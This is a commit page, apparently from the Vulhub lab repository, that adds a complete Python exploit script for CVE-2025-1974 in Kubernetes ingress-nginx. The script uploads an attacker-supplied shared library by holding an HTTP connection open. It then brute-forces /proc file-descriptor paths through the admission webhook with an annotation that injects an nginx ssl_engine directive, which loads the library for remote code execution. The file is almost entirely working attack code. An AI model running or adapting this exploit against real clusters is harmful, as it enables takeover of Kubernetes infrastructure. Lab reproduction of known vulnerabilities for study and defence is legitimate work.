first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

View File

@@ -0,0 +1,233 @@
import base64
import time
import argparse
import requests
import sys
from urllib.parse import urlparse
import threading
from concurrent.futures import ThreadPoolExecutor
import urllib3
import socket
import os
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
admission_json = """
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "3babc164-2b11-4c9c-976a-52f477c63e35",
"kind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"resource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"requestKind": {
"group": "networking.k8s.io",
"version": "v1",
"kind": "Ingress"
},
"requestResource": {
"group": "networking.k8s.io",
"version": "v1",
"resource": "ingresses"
},
"name": "minimal-ingress",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6"
},
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "minimal-ingress",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://example.com/#;}}}\\n\\nssl_engine ../../../../../../../REPLACE\\n\\n"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.example.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "kubernetes",
"port": {
"number": 443
}
}
}
}
]
}
}
]
},
"status": {
"loadBalancer": {}
}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
"""
def send_request(admission_url, json_data, proc, fd):
print(f"Trying Proc: {proc}, FD: {fd}")
path = f"proc/{proc}/fd/{fd}"
replaced_data = json_data.replace("REPLACE", path)
headers = {
"Content-Type": "application/json"
}
full_url = admission_url.rstrip("/") + "/admission"
try:
response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1)
# print(response.text) - use this to debug (check response of admission webhook)
print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}")
except Exception as e:
print(f"Error on /proc/{proc}/fd/{fd}: {e}")
def admission_brute(admission_url, max_workers=10):
# proc = input("INPUT PROC:") - use this for manual testing
# fd = input("INPUT FD:") - use this for manual testing
# send_request(admission_url, json_data, proc, fd) - use this for manual testing
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(30, 50): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admission_json, proc, fd)
for proc in range(160, 180): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, admission_json, proc, fd)
def exploit(ingress_url, shell_file):
if not os.path.exists(shell_file):
print(f"Error: Shell file '{shell_file}' not found")
sys.exit(1)
so = open(shell_file, 'rb').read() + b"\x00" * 8092
real_length = len(so)
fake_length = real_length + 10
url = ingress_url
parsed = urlparse(url)
host = parsed.hostname
port = parsed.port or 80
path = parsed.path or "/"
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(1)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: lufeisec\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + so
sock.sendall(http_payload)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
print("[*] Response:")
print(response.decode(errors="ignore"))
sock.close()
def parse_arguments():
# Default values for the service
default_admission = "https://localhost:32043/networking/v1/ingresses"
default_ingress = "http://localhost:32080/fake/addr"
# Suggested values when running in a kubernetes cluster
suggested_admission = "https://ingress-nginx-controller-admission.ingress-nginx.svc:443/networking/v1/ingresses"
suggested_ingress = "http://ingress-nginx-controller.ingress-nginx.svc/fake/addr"
parser = argparse.ArgumentParser(description='CVE-2025-1974 Ingress-Nginx Exploit')
parser.add_argument('-a', '--admission',
default=default_admission,
help=f'Admission webhook URL (default: {default_admission}, suggested in-cluster: {suggested_admission})')
parser.add_argument('-i', '--ingress',
default=default_ingress,
help=f'Ingress controller URL (default: {default_ingress}, suggested in-cluster: {suggested_ingress})')
parser.add_argument('-s', '--shell-file',
default="shell.so",
help='Path to the shell.so file (default: shell.so)')
parser.add_argument('-w', '--workers',
type=int,
default=10,
help='Number of worker threads for brute forcing (default: 10)')
return parser.parse_args()
def main():
args = parse_arguments()
print(f"[*] Using shell file: {args.shell_file}")
print(f"[*] Admission URL: {args.admission}")
print(f"[*] Ingress URL: {args.ingress}")
print(f"[*] Workers: {args.workers}")
print("[*] Starting exploit...")
# Send the library to the ingress pod and keep the connection open
# to keep the file open via the file descriptor (FD)
x = threading.Thread(target=exploit, args=(args.ingress, args.shell_file))
x.start()
# Give the exploit thread time to start and upload the shellcode
time.sleep(2)
# Start the admission webhook brute force (/proc/{pid}/fd/{fd})
admission_brute(args.admission, max_workers=args.workers)
if __name__ == "__main__":
main()